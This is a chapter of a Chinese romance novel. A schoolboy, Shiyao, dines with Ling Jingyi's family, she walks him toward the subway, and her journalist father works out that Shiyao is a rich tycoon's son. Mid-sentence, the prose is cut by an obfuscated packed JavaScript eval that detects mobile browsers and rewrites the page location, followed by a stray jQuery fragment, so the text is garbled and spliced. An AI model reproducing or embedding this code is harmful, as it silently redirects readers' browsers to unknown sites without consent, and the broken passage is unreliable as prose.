“怎么回事?”坐在客厅一角的凌寒放下报纸,皱着眉头看了过来。
空气有一瞬间的凝滞。
不过凌婧宜很快就反应过来,“时曜今晚家里人刚好都出去了,只有他自己在家,我就邀请他一起来吃顿饭嘛。”
“就是,你别啰嗦了。时曜救了小婧,是我们家的恩人嘛,什么时候来都可以!”曾萱笑眯眯地脱下了围裙,“只不过东西做得不是很多,怕你们不够吃。”
“没事,阿姨……是我冒昧了。”时曜有些尴尬地笑笑。
“别说这种话,快洗手吃饭吧!”
“嗯……”
凌寒没有再说话,只是眯起眼睛,沉默地打量着时曜的背影。
“坐吧。”凌婧宜笑着招呼时曜坐下,可时曜一坐下,就迎上了凌寒那锐利又带着审视的目光。
时曜愣了愣,身板也不由得挺直了一些。
“凌寒,你在干什么?快进来厨房端菜!”曾萱的声音从厨房传来。
“没什么。”凌寒托了托眼镜,有些尴尬地咳了几声,“职业病发作了。”
看着凌寒走进厨房,时曜才转向凌婧宜,“叔叔他……该不是警察吧?总感觉看人很敏锐。”
想起上一次自己把她送回家的时候,还听凌寒提起过什么女高中生自杀之类的事情。
“他是记者,总是会不自觉就开始观察别人。有时候看起来有点严肃,你别太介意。”她有些无奈地苦笑。
曾萱很快就做好饭了,菜式很家常,有红枣蒸鸡和胡萝卜炒蛋。曾萱还是喜欢给时曜夹菜。她给他夹了很多胡萝卜,凌婧宜忽然想起来时曜似乎很讨厌吃胡萝卜,但是他并没有表现出来,只是安静地把碗里的菜吃完了。
这顿饭吃得还算顺利,之后凌寒也不再一直审视着时曜,大家也能有说有笑地正常吃饭了。几个人有一搭没一搭地聊着天,主要是曾萱在问几个人平日里在学校的学习情况。得知时曜成绩还不错,凌寒的表情也逐渐变得和缓。
“对了时曜,你爸爸妈妈是做什么的?”
时曜愣了愣,似乎没有料到曾萱会突然问出这样的问题,“我爸爸妈妈……呃,他们是生意人。”
“生意人?”曾萱挑了挑眉,似乎有些兴趣,“做什么样的生意?”
“算是……在做零售吧,我也不太清楚。他们不怎么把工作上的事告诉我。”
“哦?难道他们在开超市?还是小卖部?”
“妈,剩下这个鸡翅给你吃吧。”凌婧宜立马给她夹了一个鸡翅,企图打住她的话头。妈妈怎么能做出这种查户口的事啊,还是当着这么多人的面!
“给你吃吧。”曾萱把碗里的鸡翅夹给了凌寒。今天腌鸡翅的时候,她的酱油不小心倒多了。
“那你爸妈只有你一个孩子吗?”
凌婧宜和池子深对望了一眼,想起他们下午见到的事,只觉得尴尬。
“……对,我爸妈只有我一个孩子。”时曜沉默了一阵,扯了扯嘴角。
“我吃饱了。”凌婧宜说完,拿起碗筷走到厨房,把东西放在洗手池下面。
“我也是。”时曜和池子深也心领神会,跟着拿起碗筷走了出去。
曾萱原本还想留他们吃点水果,但被凌婧宜和池子深一起反对,只得无奈作罢。
“舅舅、舅妈,那我们先回去了。”
“我送送他们。”
唯恐曾萱再问什么,两人立马带着时曜,一溜烟地走出了家门。
三人走出了大楼,池子深转头看了看时曜,“你走哪边?我去那边坐公交。”
“哦,我去坐地铁吧。”时曜看了看手表,“坐地铁快点。”
“我带你去吧,这里走去地铁站绕小巷子快一点。”凌婧宜开口,指了指旁边的小巷子。
时曜点点头,跟在了她的身后。
巷子比较窄,她在前面走着,他跟在后面。走着走着,她特地放慢了脚步,回过头看他,脸上带着抱歉的笑意,“刚才不好意思啊,没想到我妈……一直在那问长问短的。”
夜深了,外面的温度更低。两人双手都放在外套口袋里,迎着寒风缓缓走着。
“哦……没什么。其实我还挺喜欢你们家这种热热闹闹的吃饭氛围。”
“啊?有什么特别的,大家不都这样吗?”凌婧宜刚说完就有些后悔了,看时曜的表情,他家似乎就不是这样。
“你刚才跟叔叔阿姨说,我家里人刚好今晚都出去了……其实也不是刚好。他们几乎每晚都不会在家吃饭。”
“我……我不知道。”
“没事。”他微微垂下头,边上的路灯只照到他一半的脸颊,衬着那暗暗的墙壁,侧脸显得更加棱角分明,“我家确实有点不太正常。一个月我大概只能见到我爸10天。我妈虽然好一点,但是……”
“我不是这个意思……”
“好了,就送到这里吧。”她想要辩解,但他似乎不愿意多谈。时曜停下脚步,两人面前是一条更漆黑的小巷,只有墙上挂着一盏路灯,发着暗黄的光,“剩下的我自己走吧,这种黑黑的小巷,你回去不方便。”
“好吧……那你小心点,回到家告诉我。”犹豫了一下,凌婧宜最终还是停下了脚步。
“拜拜。”
凌婧宜看着他的背影,看着他独自走进了昏暗的小巷中。黯淡的光线把他挺拔的身影拉得很长。这一瞬间,他的背影看起来特别孤单,像是要被远方未知的黑暗深渊所吞噬。
“等等,时曜!”
他停下脚步,有些诧异地回过头。
她快步走到了他身边,“我还是跟你一起走吧。地铁站附近有一家面包店我跟我妈都很喜欢吃,我想吃那里的牛角包了,我顺便买回去明天做早餐。”
时曜愣了愣,眼里带着错愕,“那你走回来怎么办?这条路你一个人走太危险了。”
“那我回来走大路吧,就是绕一点,也能走回去。”
他轻轻颔首,看着她脚步轻快地走在前面,嘴角不自觉地抬起,“好。”
昏黄的灯光将依旧将两人的身影拉得很长,只是两人一前一后地走着,身影交叠在一起,再也没有了之前那种孤单的感觉。
“你会不会觉得我在骗你妈妈,我明明有一个哥。”他的声音在身后响起。
“没有啊。那你爸妈确实是只有你一个孩子……你不是说了吗,你哥不是你妈妈的孩子。”她耸了耸肩,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259799|162638||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“当然,非要说的话也算是在玩文字游戏吧。”
他似乎轻笑了一声,并没有否认,“从我小时候有记忆起,祁景就很讨厌我还有我妈。我妈还要我喊他做哥哥。不过他也从来不会领情。”
“其实我也很不服气,有一次我终于对着祁景发火了。那时候我还很小,他比我高很多,我梗着脖子问他为什么从来都不把我当成弟弟。”
“那他怎么回答?”凌婧宜好奇地转过头。两人走着走着就走出了小巷子。地铁站在右边,面包店在左边,凌婧宜因此停下了脚步,等待着他的答案。
时曜一阵沉默,但看着她那充满求知欲的眼神,终是不愿让她失望,“他说我不配,说我……是个孽种。”
凌婧宜猛地一愣,她能想象祁景说出来的话一定很难听,没想到他竟然对着自己的弟弟说这种侮辱人的话。
“不过还好,最后我爸帮我出了气,骂了祁景一顿。他确实不把我当弟弟,他一直觉得是我妈破坏了他的美满家庭。连带着觉得我也不该出生在这个世界上。”
“我想……阿姨应该不是这样的人。”凌婧宜想要安慰他几句,却发现自己好像说不出什么。
“我也相信她不是。这些触及道德底线的事,我相信她还是拎得清的。”一阵冷风吹来,时曜把外衣的链子拉上,“我走了,你早点回去吧。回到家跟我说一声。”
“嗯。”凌婧宜点点头,目送着他离开,“你也是,路上小心。”
-
“老婆,你不是把那个时曜当成未来女婿了吧。”曾萱敷着面膜从房间里走出,凌寒坐在外面看报纸,冷不丁地来了一句。
曾萱有些无语,“我看把他当成未来女婿的是你吧,一整晚都在盯着人家,好像在防贼一样。这个年纪的女生情窦初开,有个喜欢的人也正常嘛。时曜成绩那么好,你还怕人家带坏了小婧吗?”
“我相信我的女儿有分寸,不会乱来的。但是他们俩确实不合适,我怕她以后会伤心。”
“怎么就不合适了?”曾萱叉起腰,“如果成绩差你说人家不爱学习吧,现在来个重点班成绩好的,人长得也帅,你又觉得人家哪里配不上你女儿了?你难不成嫌弃人家家里开小卖部?咱们家也没多有钱吧,你这人怎么就不能积极乐观一点……”
曾萱还在喋喋不休地数落着凌寒,直到凌寒给她递来一份报纸,打断了她的话,“他们家可不是什么开小卖部的。这个我能从他的衣着打扮和谈吐中看得出来。”
曾萱接过报纸,看到报纸上的财经版,一则大篇幅的报道在介绍本地星环集团的董事长兼行政总裁时新明。上面附上了时新明的照片,看起来似乎有些眼熟。
“我一直觉得时曜有些眼熟,但是我又说不出来曾经在哪里见过他。直到我看到了这份报道。这是财经线的同事跟的企业家专栏,我以前也跑过财经线,我见过时新明。你想想看,他是不是跟时曜长得挺像的?”
曾萱皱着眉,立马从房间拿出眼镜戴上,仔细审视着报纸上时新明的照片,最终吸了口气,“看起来确实是有点像……”
“江城市中心最大的那个星环广场,就是他们家的产业。现在你知道为什么我说他们不合适了吧?”